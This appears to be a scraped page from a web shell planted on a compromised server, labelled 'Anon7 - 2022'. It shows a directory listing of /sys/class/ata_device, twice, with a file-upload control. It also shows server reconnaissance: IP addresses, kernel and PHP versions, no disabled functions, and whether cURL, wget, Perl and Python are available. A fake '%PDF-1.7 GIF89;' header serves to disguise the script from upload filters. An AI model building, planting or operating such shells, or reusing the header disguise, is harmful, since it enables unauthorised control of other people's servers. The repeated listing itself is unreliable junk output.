| .. | |||||
| device | |||||
| power | |||||
| subsystem | |||||
| class | |||||
| dma_mode | |||||
| ering | |||||
| gscr | |||||
| id | |||||
| pio_mode | |||||
| spdn_cnt | |||||
| trim | |||||
| uevent | |||||
| xfer_mode |
Anon7 - 2022
SCDN GOK
%PDF-1.7 GIF89;
| Server IP : 104.20.45.2 / Your IP : 172.16.20.3 Web Server : Apache/2.4.25 (Debian) System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : application ( 1000) PHP Version : 5.6.40 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /sys/class/ata_device/dev2.0/ |
Upload File : |
| .. | |||||
| device | |||||
| power | |||||
| subsystem | |||||
| class | |||||
| dma_mode | |||||
| ering | |||||
| gscr | |||||
| id | |||||
| pio_mode | |||||
| spdn_cnt | |||||
| trim | |||||
| uevent | |||||
| xfer_mode |